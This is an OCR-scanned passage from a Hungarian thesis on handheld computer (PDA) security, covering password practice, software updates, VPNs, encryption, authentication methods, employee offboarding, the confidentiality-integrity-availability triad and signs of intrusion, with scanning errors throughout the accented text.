e Haa jelszot leirjak, az valosziniileg mar nem biztonsagos.

A jelszavak nagy részét a legtobben tisztan csak szdmok, illetve kis, vagy nagybetiik
kombinaciok nélkiili keverékébol képzik. Azonban ezeket a jelszofeltéré programok
segitségével (lasd: 2.3.4 Jelszotorés fejezetrészt) viszonylag kénnyen és elfogadhato6
id6n belll meg lehet fejteni. Az automatizalt kereséssel atalakult, felgyorsult a jelszavak

megfejtésére forditott munka/id6 hanyadosa.

Vizsgaljuk meg az alabbi diagramot (6. abra):

OSzdm

O Betii

M Bet(i, Szam

[ Betd, Szam, kiil.
karakterek

E Kis,-nagybetii, szam, kiil.
karakterek

6. abra

A jelszé kombinacidk feltoréséhez sziikséges id6

Ebbdl kitiinik, hogy leggyorsabban megfejteni (~3,7 perc), a legkdnnyebben
megjegyezhetd, csak a szamok, vagy betiik felhasznaldsaval létrehozott jelszavakat

lehet. Mig a megfelel6en megvalasztott jelszavak megfejtése szinte lehetetlen.

A kézi-szamitogépen tarolt adatok védelmeben tehat olyan jelszavak alkalmazésat

célszerti megfontolni, amelyek elegendd védelmet nyujtanak a gyors megszerzésiikre

35



iranyulo kisérletek ellen. Ezek a 6-8 karakter hosszusagu kis és nagybetiik, valamint
szamok és a kiildnleges karakterekb6l szerkesztett kddszavak hasznélata.

Még jobban nehezithetjiik a tamadast, ha bizonyos id6kozonként (3-6 havonta),
csereljuk a jelszavakat és kis mertékben valtoztatjuk a hosszisagukat.

Hasznos maddszer, és kénnyen megjegyezhetd, ha egy mondatbdl keépezink jelszot.
Példaul: ,, A kézi-szamitdgépek biztonsaga elsédleges és lényeges! ” - mondatbdl
megjegyezheté a ,,AKSZbl&L ,jelszd. Ez az egyes szavak kezdébetiiib6l és azok
méretének ciklikus valtoztatasabdl, valamint ott ahol ez lehetéséget nytjt, a szamok és
kilonleges karakterek beépitésével felépitett mozaikszo.

Osszefoglalva tehét a helyes jelszohasznalatot a kovetkezoket lehet kijelenteni:

o Kovetkezetes jelszovalasztas, a konnyen kitalalhato jelszavak mell6zése
o Titoktartas! (A jelszavak védelme)

e A jelszavak koriiltekintd tarolasa (kodoltan, vagy sehogy)

e Az1j jelszot nem célszerii az utolsd 5-10 régebbibdl megalkotni

e A jelszavak rendszeres cseréje idokozonként (haromhavonta, félévente)

e A jelszo kidertlésének gyanuja esetén Ujat kell 1étrehozni

Betartva ezeket az ajanlott lépéseket, sokkal kozelebb kerilhetink az idealis
biztonsaghoz.
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3.1.2 Biztonsagos szoftverfutési kdrnyezet

A biztonsagos szoftverfutasi kdrnyezet egy szamitogépes rendszer biztonsaganak a
legalapvetobb eleme. A definiciojat a kovetkez6képpen lehet megfogalmazni:

,»A biztonsagos futasi kdrnyezet a szamitogépes rendszer védelmi mechanizmusainak
Bsszessége, amely magaba foglalja a hardvert, a firmware®-t és a szoftvert.”

A szoftverek &llapota azért fontos, mert egy elmaradt frissités hibait kihasznélva akar
tamadhatova valik az eszkdz. Habar folyamatos a kézi-szamitdgépeken futd operacios
rendszerek fejlodése, mégis meglepd, milyen keveset torédnek a biztonsagos
kornyezettel. A jelenleg legUjabb Microsoft Windows Mobile 6.1 Professional
egyszerlisitett operacids rendszer adatlapjabdl®’ példaul vilagosan kideriil, hogy a
megannyi kényelembdvitd szolgaltatds mellett csupan két Uj moédositds szolgélja a
biztonsag ndveléset (azok is csupan a Windows Mobile 6 - tol):

e Windows frissités kezeld (miikodoképes!)

o Memoriakartya védelem

A szoftverfrissitések tartalmazhatnak rendszerhiba javitasokat, kiilonb6z6
gyorsjavitasokat, biztonsagi frissitéseket és fontos szervizcsomagokat. Természetesen
az operadcios rendszeren kival egyéb programok is megtalalhatdak a kézi-
szamitogépeken. Ezek mindegyikéhez hasznalatuktdl fuggetlenil - szolgéljanak akar a
munkavégzés, akar a szorakozas céljabdl - tartoznak valamilyen frissitések, amelyek
telepitéset érdemes kovetkezetesen végrehajtani.

Napjainkban erre pedig mar kényelmes lehetdséget biztosit az interneten keresztiil
torténd, tigynevezett ,,¢16 frissités” a gyarté honlapjardl, vagy akar a késziiléken futd
program beagyazott megoldasanak hasznalataval.

% A firmware egy olyan (néhany eszkdz esetében frissitheté) program, mely az adott hardware eszkoz
bels vezérlésérdl gondoskodik.

*” Irodalom jegyzék: [25,26] hivatkozas.
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3.1.3 Adat és kommunikéacios kapcsolat

A Kkézi-szamitogepek legkdnnyebben vezeték nélkil tudnak csatlakozni az
informatikai kornyezethez. Ebbol kézenfekvd, hogy a kialakitott adatatviteli halozatba
torténd belépéssel, a tdmadd kozel tud kertlni a tarolt adatokhoz. llyen helyzetben
természetesen mindenekel6tt a lehallgatds meriil fel, a lehallgatassal azutan értékes
informéciokhoz, pl. jelszavakhoz lehet jutni.

A kapcsolatban egy illetéktelen harmadik fél ellen leghatékonyabban a titkositott
kommunikacidval tudunk védekezni. A halozatok kapcsolattitkositd eljarasainak
melyebb tanulményozésara eme szakdolgozat keretei nem adnak elég teret, de a
vezetékmentes haldzat tikositdsdnak lehetdségei megtaldlhatéak a ,,A vezetékmentes
halozatok fenyegetései” (2.2.2.2) cimi fejezetrészben.

A kézi-szamitogéppel adat kapcsolatot épité felhasznalo kiilonbozé jogosultsagokat
kap a rendszer hasznalataval, az er6forrasokhoz torténé hozzaférésekkel kapcsolatban.
Ezért valamilyen modon hitelesitenie kell magat, hogy csak azokat a jogosultsagokat
kapja meg, amelyek neki jarnak. Ez egy harom Iépésben végrehajtott folyamat, melyben
elsé Iépésként a hasznalatot kezdeményezd fél azonositot kiild magarol a rendszernek.
A kovetkezO 1épésben a rendszer hitelesiti a kezdeményezo felet, azaz a kapott
azonositot osszeveti a rendszerben tarolt azonositokkal. Ha egyezést talél, akkor
harmadik 1épésként a kezdeményez6t feljogositja a hozzaférési joggal, hogy a hitelesités
megtorténhessen, és az illetéktelen hozzaférés kizarhato legyen.

Létezik egy olyan lehetéség a kézi-szamitogépek kommunikacios kapcsolataban (is),
amely azt biztositja, hogy egymastol tavol es6é szamitogépek biztonsagosan
kommunikalhassanak egymassal olyan nyilvanos hal6zaton — tipikusan az Interneten —
keresztul, amely nem megbizhato, vagyis adatbiztonsagi szempontbol nem tekinthetd
biztonsagosnak. Ebben a kapcsolatban az adatbiztonsagot nem az atviteli eszkdz, hanem
a titkositas biztositja.

Ez a Virtual Private Network vagyis Virtualis maganhalozat (a tovabbiakban: VPN).

A VPN kapcsolattal olyan zart k6z6sségii halozat hozhat6 létre az Interneten bell,
amelyet illetéktelenek nem hasznalhatnak. Hatékony, biztonsagos kommunikéacios
csatorna épithetd fel altala, valamint olcsé megoldas.

Egy VPN kialakitasa leegyszeriisitve azt jelenti, hogy minden egyes Osszekapcsolni
kivant halozatrész és a nyilvanos haldzat kozé biztonsagi atjardkat helyeznek el. Az
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atjarok titkositjak a privat halézatot elhagy6 adatcsomagokat (kimend forgalom), illetve
dekddoljadk a nyilvanos halézatbol érkezd adatcsomagokat (bejovo forgalom), ezzel
titkositott csatornat alakitva ki a nyilvanos haldézaton. Ett6l fogva a halozatrész gy
viselkedik, mintha egyetlen nagyméretii privat halozatot képezne.

Alapvetden harom féle VPN tipus létezik:

e Hardware kdzeli megoldasok
e Tizfal alapi megoldasok

e Software kozeli megoldasok

A VPN tipikus alkalmazéasa, amikor egy munkatérs tavolrol kivanja elérni cége
szerverét (pl. tizletk6téi rendelésfelvétel), igy a felhasznalé szamara a kapcsolat ugy
jelenik meg, mintha kdzvetlendl a cége belsé halozatahoz csatlakozott volna.

3.14 Titkosito eljarasok

Megvizsgalva a kézi-szamitdgépeken tarolt adatok tipusait, elmondhatd, hogy foként
kapcsolati informaciokat, illetve a kommunikacios folyamat eredményeként 1étrejové
dokumentumokat (pl.: e-mail vagy SMS, MMS, telefonszdmok, amennyiben kombo a
készllék) tarolnak el. Emellett azok az internet bongészoben eltarolt adatok is
megjelennek az eszkdzon, amelyek egy vallalat informacios rendszeréhez valo
csatlakozdsahoz szikségesek. Az egyre nagyobb kapacitissal rendelkez6 memoria
kartyak terjedése is elésegiti a rajtuk elhelyezett adatmennyiség novekedését.

A mobil eszkézok tdmadhatosaga elsésorban a fizikai eltulajdonitasuk réven valdsul
meg. Igy a benniik tarolt adatok megfelel eldzetes védelem nélkiil, a timadd szamara
teljesen hozzaférhetdek. A kiilsé memoria kartya bovithetéség is sériillékeny pontjuk,
hiszen a legtobb késziilékbdl egy mozdulattal eltavolithatoak, igy, ha a tarolt adatokrol
nem készitettek biztonsagi masolatot, akkor azok elvesztése is problémat okoz.

A késébb targyalt hozzaférés szabalyozdsaval meggatolhatd, hogy egy tamadd
hasznalni tudja a készlléket, az viszont nem akadalyozhaté meg, hogy ha azt sikeresen
Kijatssza, akkor a hattértarolon elhelyezked6 adatokhoz szabadon hozzaférjen. Ezért van
szllkség a tarolt adatok titkositott védelmére. Ez torténhet hardveres és szoftveres
megoldéssal. A hardveres titkositas elénye, hogy alkalmazas-fuggetlenséget biztosit. A
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titkositasi folyamat a taroloeszkdz belsejében zajlik le, vagyis csak fizikai sérilés
okozéséval lehet hozzéférni az eszkdzon tarolt adatokhoz. Léteik azonban olyan
hardveres védelem is, ami érzékeli, hogyha fizikailag akarjak megkerilni, és ha van ra
mod, az adatokat tonkre teszi. Illyen megoldasrdl tajékozodhatunk a GORE - cég
honlapjarél.

Szoftveres titkositast rengeteg cég kinal, szdmos valtozatban az interneten.*® Ezek
tudasa sok esetben elegend6 védelmet biztosit, melyek kiterjednek:

e PIM adatbazis védelmére (naptéar, kapcsolatok, feladatok, e-mailek/SMS-ek)
o Fjlok titkositasa a lokalis RAM-ban, és flash memaoriaban

e A titkositasi kulcsok generdlasara a jelszobdl, ami megneheziti a jelszé
kitalalasan alapulé tAmadasokat.

A kiils6 biztonsagi programok alkalmazésa mellett a timadd szamara lehetetlen vagy
nehéz az eszkdzokon tarolt adatokhoz vald hozzéféres.

3.15 A felhasznal6 személye (Az ember, mint gyenge lancszem)

Minden technikai, szervezeti és szabalyzati eszkdzok, mddszerek és eljarasok
kitalaloja, bevezetdje, fenntartoja és kihagoja az ember. Az ember altal elkovethetd
leggyakoribb hibdk a frissitések, mentések elhanyagolasa (hianyzik; egyaltalan nem,
vagy nem biztonsagosan tarolt) és a téves bizalom (Social Engineering) megléte. Nem is
gondolnank, hogy mekkora tamadasi fellletet nyudjtanak a johiszemii felhasznalok, akik
egy magat rendszergazdanak kiado személy felkerésére hajlanddk gépeikre ismeretlen
eredetli programokat telepiteni, vagy jelszavakat és egyéb érzékeny informaciokat
Kiadni. A jéindulatd tdmadés egyfajta “user scanner” - ként a felhasznalok korében
fellelheté emberi természetb6l eredé biztonsagi hianyossagokra probal ratalalni és
rahatni.

(A felhasznalo érzékenysége a kulonféle tdmadasokra a 2.2.1 Social Engineering

fejezetrészben bovebben kifejtésre keriilt.)

A 7. dbran a harom legjellemz6bb emberi sebezhetdség fedezhetd fel:

** Irodalom jegyzék: [27] hivatkozas.
** Irodalom jegyzék: [28] hivatkozas.
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Részedés: karos programok bejuttatasa

az eszkozre, freeware programok, Személyes rahatas: informéciokinyerés,

jatekok,  szorakoztatd ~ vagy ~ mas karos  cselekedetek  végrehajtasa

vagyalapli csomagolasba burkolva. (atallitasok, torlések) akar szép szoval,

akar eroszakkal.

Kihasznalas: tudasbeli hianyossag a
védekezéshez, észleléshez, javitashoz.

7. dbra
Az emberi lancszem gyengeségei.

Mindegyik orvosolhatd megfelel6 szintii oktatassal, mégis a legtébb probléma
sokszor a felhaszndlok nem megfelel felkészitésébol, valamint az eszkdz helytelen
hasznalatbdl szarmazik. Egy felkészitésének magaba kell foglalnia a munkavégzéshez
szlikséges teendok és eszkzok ismeretét. Amennyiben a munkakdr megkivanja, akkor
a kuldnleges (netan addig még soha el nem fordult) esetek megismerését és lehetséges
kezelését is tartalmazhatja. Esetleg mar a munkaerd felvételnél kitlizhetd szempont
lehet, hogy a leend6 alkalmazottnak legyen érzékenysége a gyanus esetek kisziiréséhez,
mert el6fordulhat, hogy meg az elézetes felhivas sem elégséges a személyes rahatas
kivédéséhez. Ezek kilondsen fontos dolgok, hiszen a kézi-szamitdgépek kis méretiiknél
és mobilitasuknal fogva joval nagyobb veszélynek vannak kitéve, mint az asztali
szamitdgép, ami helyhez kotott, nehezen mozgathato, ezaltal példaul az eltulajdonitasa
sokkal nehezebben kivitelezhetd, mint egy PDA — késziiléké.

A felhasznalok mindegyike az oktatads ellenére sem fog jobban odafigyelni a
biztonsagra, ezért létrehozhatdak kiilonféle egyszerli szabalyok, amiket kotelezden

alkalmazni és maradéktalan betartasat folyamatosan ellendrizni kell. Ezek lehetnek:

e Az eszkoz taroldsara vonatkozd (munkahelyen, vagy azon kiviil),

e Az eszkdzon tarolt adatokra vonatkozd (miket lehet, miket tilos),
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o A felhasznal¢ felel6sségének tisztazasara vonatkozo szabalyok.

A kértékony programok is arra épitenek, hogy a felhaszndldk még a sorozatos
biztonsagi figyelmeztetések ellenére is, sajat maguk telepitik fel 6ket a készilékikre.

Figyeljuk meg a 4. tablazatban, hogy az ember altal elkdvetheté tamadasok
besorolasara, az informatikai biztonsdg osztalyozasi szempontrendszere szerint milyen
csoportositas allithato fel:

Elkévetés modja lehet Elk6vetés jellege lehet

Sz&ndék szerinti tudatos, vétlen

Jogallas szerinti felnétt, fiatalkord, kiilsds, belsds, idegen

Tudas szerinti profi, amatér

Cél szerinti karokozo, informaciot lopo, lejaraté

Eszkdz szerinti sajat fejlesztésii, nyilvanosan elérhetd, automatikus
4. tablazat

Az ember altal elkévethet6 tamadasok besorolasa.

Sokan megengedik a baratok, csaladtagok és kollégéik szamara, hogy hozzaférjenek
a PDA - juhoz, internetezzenek, jatékokat futassanak rajta, esetleg e-mailjiket
megnézhessék. Meg akkor is, ha a véegletekig a bizalmat élvezi az, akinek a kezébe
keril a készllék, bizony megeshet dnhibajan kivil, hogy artd szandéku alkalmazést
telepit, vagy adatot torol.

3.1.6 Hozzéaféreés, jogosultsag (Autentikacio, Autorizacio)

A hozzaférés és jogosultsag kezelés célja megvédeni az informéaciot a jogosulatlan
hozzaferéstol, valamint az illetéktelen beavatkozastdl. A két fogalom Aaltal rejtett
taralom szorosan kapcsolodik egymashoz, és ez a kapcsolat az egymashoz viszonyitott
sorrendiségben is meghatarozott, tébbnyire az autentikacié megelézi az autorizaciot.

A felhasznal6-azonositds minden informatikai biztonsagi rendszer alapja, ezért a
kézi-szamitogépek biztonsaganak targyaldsakor sem lehet mell6zni. Az autentikacid
olyan folyamat, amely arra szolgal, hogy valaki bizonyitsa az 6nmagar6l allitottak
valodisagat. Nagyon fontos az eszkozokhoz vald megfeleld szintli hozzaférés
szabalyozésa valamilyen felhasznalé-azonositasi modszerrel, ami lehet birtok-, tudas-,
vagy biometriai alapu. Ezaltal az illetéktelen fél nem veheti igénybe a kézi-szamitogép
szolgaltatasait, nem juthat értékes adatok birtokaba.
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e A tudéasalapl azonositas a felhasznald birtokaban 1évé tudasra épiil, arra,
hogy a felhasznalo mit tud.

e A birtokalapu azonositas a felhasznalo birtokaban 1év6 targyra épiil, vagyis
arra, hogy a felhasznalénak mije van.

e A biometria alapu azonositas a felhasznalé valamilyen tulajdonségéara épit,
kdzvetlenll azt vizsgalja, hogy a felhasznalé fizikai-bioldgiai voltaban
kicsoda.

Az els6é PDA, amelyiknél alkalmaztak a biometrikus azonositast, az iPAQ h5450 volt
2002 novemberében. A legpontosabb valaszt a biometria adja arra, hogy valaki valoban
az-e, akinek allitja magat. A biometria az egyént azonositja, de fontos kiemelni, hogy ez
sem ad tokéletes és minden koriilmény kozott alkalmazhaté megoldast.

Fingerprint Password

Password OR. fingerprint -

Mo password

Simple < digit PIM

Strong alphanumeric password
PIM OR fingerprink

PIN AN Finger prink

Password OR fingerprint
Password AND fingerprint
Fingerprint-onl

Progress % 123[1]2[3]4[s][6]7[8][9[0]- =]+«

- Ta[alwle r[t[y[uli]o]p[L]]

. caPlafs[d[flalh]j[k[1]:["]

o0 1w Shift|z [x[c[v[b[n[m][,[.[/]+

ctifan] [\ [+[t]e]>

About Options About Options n
8. abra

Biometriai azonosito szoftver futasa egy PDA-n.

A héarom autentikacios modszer kozul kettének az egymastol figgetlen, egyideji
kombinacidja nyujtja a biztonsagos azonositashoz szikségesen ajanlott megoldast.

Az alkalmazott mddszereket hasznalhatdésadguk, &aruk és gyengeségeik alapjan
rendezhetjik csoportokba:

Csoportok

Tudas, avagy jelsz6
alapu azonositds

Birtok, avagy kulcs

Biometrian alapulé

Hasznalhat6saga

Hasznalata egyszerii.

alapu azonositas
Hasznalata altalaban
egyszer(l.

azonositas

Egyes esetekben
nehézkes, de megfeleld
megvaldsitas esetén
nagyon megbizhato.

Megval6sitas ara

Olcso

Az olcsotol a dragaig

A komoly
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terjed az arskala.

megvalositasok dragak.

Gyengeségeik

Igazan erds védelmet
jelentd jelszavak
megjegyzése az ember
szdmara nehéz.

Védekezni kell a
masolas ellen (lehetdség
szerint ne lehessen
titokban masolni a
kulcsot, mert ekkor az
eltulajdonitas ténye nem
vehetd észre, és
hosszabb ideig vissza
lehet éIni a masolat
kulccsal).

Jogi, adatvédelmi
(példaul biometrikus
adatok tarolasanak
helye, maddja) és
egészségugyi (higiénia)
problémai is lehetnek.

Megjegyzés

A tudas észrevétlentl
masolhato és
tulajdonithato el (pl.
nincs visszajelzés, arrol,

Eltulajdonithaté (bar az
eltulajdonitas ténye
érzékelheto, a kulcs
letilthatd).

Egyszerti
megvalositasok
altaldban kénnyen
kijatszhatdak.

hogy valaki mas is a
jelszo birtokaba jutott).

5. tablazat
A felhasznal6-azonositds csoportositasa.

A jelszavas azonositds ma mar valamennyi késziiléken elérheté. A legujabbaknél
pedig mar kiklszobolték azt a problémat, ami abbol adddott, hogy az eszkdz
bekapcsolasakor a jelszavas védelme kijatszhaté volt egy Hard Reset*’-el. Ennek az
ujrainditasnak a kovetkezménye, a késziléken térolt 6sszes adat file, vagy program
torlodése (a ROM-ban taroltakat kivéve), mikozben a késziilék minden beallitasa
visszaall a gyari alapallapotra. Igy kitorolhetdk voltak a ROM-bdl a jelszd beallitasok,
majd az ujraindulast kvetéen mar nem kérte a jelszavas azonositast. Némely operacios
rendszeren a bejelentkezési jelszoként hasznalt egyszerii PIN csak szamokbol allo
jelszot jelent, amit egy jelszo emlékeztetd mondattal lehet kiegésziteni.

A tudas alapu autentikacios rendszerek tébbnyire az operacios rendszer részei. Ezen
kivil léteznek olyanok, amik az adott operacios rendszerre telepithetéek és altalaban
bévitett szolgaltatas csomaggal rendelkeznek, igy nagyobb biztonségot nyujthatnak az
erdsebb és skalazhato erdsségii titkositassal, €s az olyan kiegészité megoldasokkal, mint
pl. a hattértarold titkositdsa. Ebben az esetben a sikeres bejelentkezést kovetéen a

0 A Hard Reset az operaci6s rendszer, a meghajté programok, valamint a gyakran hasznalt alkalmazasok
Ujratelepitését jelenti. Ez tobbnyire egy billentyiizet kombinacio, és a Reset gomb egyiittes
alkalmazasaval érheté el a készulékeken.
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felhasznald szdmara hasznalhatdva valik a hattértar, mig a sikertelen autentikacié utan a
hattértar olvashatatlan lesz, mert titkositott marad akkor is, ha fizikailag hozzaférnek a
hattértarolohoz a tamadok. Elénye a bizalmassdg magas foka, hatranya, hogy

amennyiben a felhasznal6 sem tudja magat igazolni, ugy 6 sem fér hozza a hattértarhoz.

Az autorizacio azon jogok megadasa amelyekkel - az eréforrasokkal és adatokkal
kapcsolatban - elére meghatarozott szabalyok szerint rendelkezhetnek.

A ma hasznalatos PDA operacios rendszerekben egy adott mappat csak olvashatova,
illetve rejtetté tudjuk tenni, viszont nem tudunk felhasznaldi jogosultsagokat kezelni,
hozzarendelni. A sikeres bejelentkezést kovetéen barki vissza tudja allitani a mappa
lathatdsagat, és modosithatosagat. Emiatt itt is érvényes az, ami az autentikacional,
vagyis a jogosultsagok kezelésére az operacids rendszerek is adnak ugyan tdmogatast,
de a nagyobb biztonsagot az erre a célra kifejlesztett alkalmazasok hasznalataval tudunk
csak elérni. Ezek mar képesek ra, hogy

o Konfigurdlhatd felhasznal6i, biztonsagi beallitasok, titkositasi- és jelszd
szabalyokat

e Konfigurdlhatd rendszergazdai jogokat csoportok, vagy egyének szamara
hozzanak létre és kezeljenek.

Példaul a Microsoft operacios rendszere a Windows Mobile ma mar teljes egészében
beilleszthet6 a vallalati informatikai infrastrukturaba. A Microsoft rendszerfeltigyeleti
megoldasanak koszonhetéen (Mobile Device Manager 2008) a készulékeken maér
egészen aprolékos szinten lehet kezelni a szoftverfrissitéseket, letilthatd vagy
engedélyezhetd a Bluetoothkapcsolat, €s titkosithatova valik a memoriakartya.

Sziikségesnek latom, hogy beszéljek arrdl, hogyan kell kezelni azokat az eseteket,
amikor elszdmolési kotelezettséggel jaro, munkaeszkdzkent kézi-szamitogepet hasznéld
alkalmazott munkaviszonyéba torténik valtozas.

A munkaviszony megsziintetésekor biztonsagi alapkOvetelmény, hogy az
alkalmazott, rendezett modon szolgaltassa vissza az altala hasznalt kézi-szamitdgepet,
illetve a rajta tarolt informéciokat, nehogy azokkal a késébbieckben bosszivagybol
vissza tudjon élni. Az altala ismert jelszavak cseréjérél gondoskodni kell. A felmondés
alatt allo sért6dott személy a biztonsagi eldirasokkal mar nem sokat torédve az altala
addig jogosultan elért informéaciokat gyijtheti a keésébbi rosszindulatd felhasznalas
céljabol. Eppen ezért egy tadvozd munkatars szinte minden esetben biztonséagi

kockézatot jelent.
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Abban az esetben, amikor eladasra keril egy ilyen készilék, akkor az eszkdzrél az
arra jogosult és képzett szemely minden, a szervezetet érint6 adat biztonsagos
eltavolitasarol kell, hogy gondoskodjon.

Biztonsagi szempontbol célszeri az alkalmazottakat informalni a személyzeti
valtozasokrdl, eclkeriilend6 egy adatszerzésre iranyulé Social Engineering tamadas a

tavozo munkatars részérdl a kollégai tajékozatlansagat és johiszemiiségét kihasznalva.

Amennyiben a felhaszndlonak a hozzaférési jogosultsagai megmaradnak
munkaviszonyanak megsziinése, vagy munkakdrének megvaltozasa utan, e€s a
készuléket nem szolgaltatta vissza, akkor mar jogosulatlanul fér hozza adatokhoz, igy
sérulhet az osztott biztonsag elve, mely szerint az idedlis allapot az, hogy minden
munkatars annyi informéaciohoz férjen hozza, amely a munkéajahoz feltétlen sziikséges.

rrrrr

feltlvizsgélni és modositani kell, ha a biztonsagi igények megvaltoztak.

3.1.7 Adatvédelem, informaciévédelem

Ezeknek a fogalmaknak a hallatan az emberek tobbségében téves elképzelések

rajzolédnak ki, mert pontosan nincs a szemiik eldtt a fogalom kézzel foghat6 targya.
Tegyuk fel tehat a kérdést, hogy mi is az informéacio?

Az informaci6 fogalmanak rengeteg megkozelitése 1étezik attol fliggden, milyen
tudomanyégakban kerl meghatérozasra. Informatikai értelemben az informacio
adatokbdl épiil fel, az adatok pedig bitek*! sorozatabdl. Elfogadhatjuk tehat, hogy az
adat a kozlés forméja, valamilyen rogzitett informacio, mely mindig ismeretet hordoz.

Ezen értelmezés szerint a biztonsdg alanya az informéacié (konkrét esetben
informéciok egy meghatérozott kore).

Jelen esetben az informacidszolgaltatds alapjat a készilék sajat és a Kkilsé
memoriamoduljan megtalalhatd adatok képezik. A biztonsaguk ezért kiemelten
kezelend6. Az adatbiztonsag és az adatvédelem fogalmat kilon kell kezelni egymastol.
Mig az adatvédelem az adatok jogi értelemben vett (térvényekkel, szabalyzatokkal

* A bit az informéci6, az informéciét hordozé kézlemény hosszanak egyik alapegysége. A név a binary
digit (binaris szamjegy) kifejezésbol szarmazik.
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vald) vedelmét, addig az adatbiztonsdg fogalma magat a technikai vedelmet,
kozvetlenil az adatok, az informéaciok biztonsagat jelenti.

A szamitdgépes rendszerek és a bennik eltarolt informacidk biztonsagat informatikai
biztonsagnak nevezzilk. Ennek két nagy terilete, az informaciovédelem és a
megbizhatd miikodés.

Az informéacid olyan értéket jelent, amelyet védeni kell a kiilonb6zé fenyegetések
ellen. Mindig szem el6tt kell tartani, hogy az informaciot csak az arra jogosultak is-
merhessék meg, az informacid ne vesszen el (semmisiljén meg), illetve véletlendil, vagy
jogosulatlanul ne médosuljon. Az informécid harom védend6 tulajdonsagat emeljuk ki,
ezek:

¢ Bizalmassag - Confidentiality
e Sértetlenség - Integrity

e Rendelkezésre allas - Availability

A felsorolt harmas kovetelményrendszert egyes dokumentumok angol
bettiroviditéssel rendszerint— CIA — médszertannak nevezik.

3.1.7.1  Titkossag, bizalmassag (Secrecy, Confidentiality)

Ez a részterllet foglalkozik az adatok illetéktelen kezekbe jutidsénak
megakadalyozéasaval. A hozzéaférés-védelmi rendszerek és a rejtjelezési eljarasok
egyuttes hasznalata biztositja, hogy a magat igazol6 fél a jogosultsaganak megfelel6
mértékben kapjon hozzaférést. Ez biztositja azt is, hogy kizarjak az illetéktelen szemely
hozzaférését az adott informéacidéhoz (amennyiben a rejtjelkulcs titkossaga biztositott).

A jogosultsagok és hozzaférések megfeleld és kovetkezetes betartasaval elérhetd,
hogy az illetéktelen személy csak irrealisan nagy erébefektetéssel, koltséggel, és igen
Kis valoszintiséggel legyen képes a védett informaciohoz hozzajutni. A hitelesség
er0ssége abban rejlik, hogy két vagy tobb kommunikéal6 fél biztosan tudja azt, hogy
azzal all kapcsolatban, akivel szeretett volna és nem egy jogosulatlan harmadik féllel.
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3.1.7.2  Sértetlenség (Integrity)

Egy informéacid, vagy rendszer sértetlenségérél akkor beszélink, ha a kapott
informéciorél minden kétséget kizaréan megallapithatd, hogy az elballitas ota
valtozatlan maradt, vagy csak az arra jogosultsaggal rendelkez6 valtoztatta meg.

A sértetlenség tekintetében az esetleges modositas észlelésén és detektalasan van a
hangsuly. Szorosan kapcsolodik hozza az adat-konzisztencia, a hitelesség és
letagadhatatlansag fogalma is. A sértetlenség a hozzéférés-védelmi rendszerek, illetve a
titkositds mddszereinek (példaul ide tartozik a digitalis alairds is) alkalmazésaval
biztosithato, de ide sorolhatdak még a viruskereses €s egyéb védelmi megoldasok széles
tarhaza is.

A sértetlenség elleni tdmadasok kivitelezésénél a tAmad6 nem csak a kommunikéacid
megfigyelésére, lehallgatasara, hanem a cserélt informaciok modositasara is kisérletet
tesz.

3.1.7.3  Rendelkezésre allas (Availability)

A rendelkezésre allasnal arrdl beszélunk, hogy egy rendszer, eszkz (esetiinkben
PDA), vagy az &ltala Gizemeltetett szolgaltatas mennyi id6re esik ki, vagy mennyi ideig
latja el hibasan a feladatat. Roviden megfogalmazva a rendszer megbizhatdsagat jelenti.

A rendelkezésre allas nem csak kiilsd, rosszindulati tdmadas esetén sérilhet.
Figyelembe véve egy adott készllék korili gyakorlati tényezéket lathatjuk, mennyi
veszélynek van kitéve:

e Nem megfeleld tizemi hémérséklet

Szakszerttlen karbantartas

Szakszerltlen hasznalat

Elemi karok (tliz, viz)

Eltulajdonitas
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3.2 Detektiv védelmi intézkedések

Amint lattuk, a preventiv védelemi kontrollnak az a lényege, hogy minél hamarabb
észlelje egy nem kivant esemény bekdvetkezését, és korlatozza a karos hatas
tovabbterjedését az elharitd, helyredllitd tevékenyseg minél hamarabbi megkezdéséig.

A detektiv védelmi kontroll szerepe ezt kovetéen az, hogy a bekdvetkezett
visszaéléseknél (pl. haldzati betdrésnél, adat lopasnal) felismerje a tamadas tényét és
meggétolja, hogy a nem kivant tevékenység kifejthesse hatasat, és jelentésen nagy kart
okozzon.

3.21 Betorések felfedezése és kezelése

Amikor egy tdmadasnak sikeriilt kijatszani a megel6z6 védelmi eljarasokat, akkor
még nem tekinthetd sikeresnek, lezartnak. Voltaképpen akkor kezddédik az igazi
kartevés, hiszen az adatokhoz hozzaférve elkezd6dik azok szisztematikus Kivalogatasa,
vagy teljes egészének a méasolasa. Ezen kivil a tamado kiilonb6zé kodokat helyezhet el
a cél eszkdzon, amik megbdjva ott informéaciokat gyijthetnek, majd az internetre vald
csatlakozaskor kiszolgaltathatjak azokat a szamara. Ezek, természetesen nem torténnek
nyom nélkil, még egy kézi szamitogép esetében sem. Ma mar rengeteg eljarés,
alkalmazas segiti a betorések felfedezését, €s meggatolasat a kiilonbozoé asztali
platformokon, de a PDA — k esetében még nem szamithatunk ilyen mértékii segitségre.

Eppen ezért fontos, hogy a késziilék kezeldjének joga és kitelessége legyen, hogy az
altala észlelt vagy tudomasara jutott veszélyhelyzetnek (példaul idében nem javitott
biztonsagi probléma) vagy betdrésnek a mértékétél, annak varhaté kovetkezményeitél
fiiggben a megfeleld ideiglenes védekezo 1épéseket megtegye. Ezek:

o A készulék kiils6 elérhetdségének a letiltasa, ez lehet példaul az adott gépnek
a halozatrol vald eltdvolitdsa, vagy mads, az esetnek megfeleld mértéki
intézkedés.

o A felhasznalonak kdtelessége legyen, hogy ha betdrésgyanus esetet észlel, azt

azonnal jelentse a cég biztonsagi csoportjanak, vagy személyes vezetdjének
¢s a sziikséges mértékben miitkodjon egyiitt a karok elharitadsa érdekében.

Példaként alljon itt néhany olyan jelenség, amelyek bekovetkezése esetén egy
tdmadasra lehet gyanakodni:
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o File-ok vagy konyvtarak kozott ismeretlen nevii bukkan fel,

e Korabban létezett file vagy konyvtar eltlinik,

o Egy file mérete ismert ok nélkil megvéltozik,

e Megmagyarazhatatlan Gjrainduléasok,

e Ismert programok szokatlanul viselkednek (szokatlan izenetek stb.),

e Ismeretlen halozati kapcsolatok, amelyek soha nem kapcsolodtak a
rendszerhez.

Az eltulajdonitas tényét rogton jelezni kell!

Ahhoz, hogy megfeleléen kezelni lehessen egy tadmadast, nézzilk meg, milyen
Iépésekkel kell arra lenni rajta:

1. Iépés: A panik elkerilése!

Egy betorés észlelésének alkalméaval a legkézenfekvobb jelenség, hogy stresszes
allapotba kertlunk. Ilyen esetben fontos a nyugalom meg6rzése. Az idegeskedés okozta
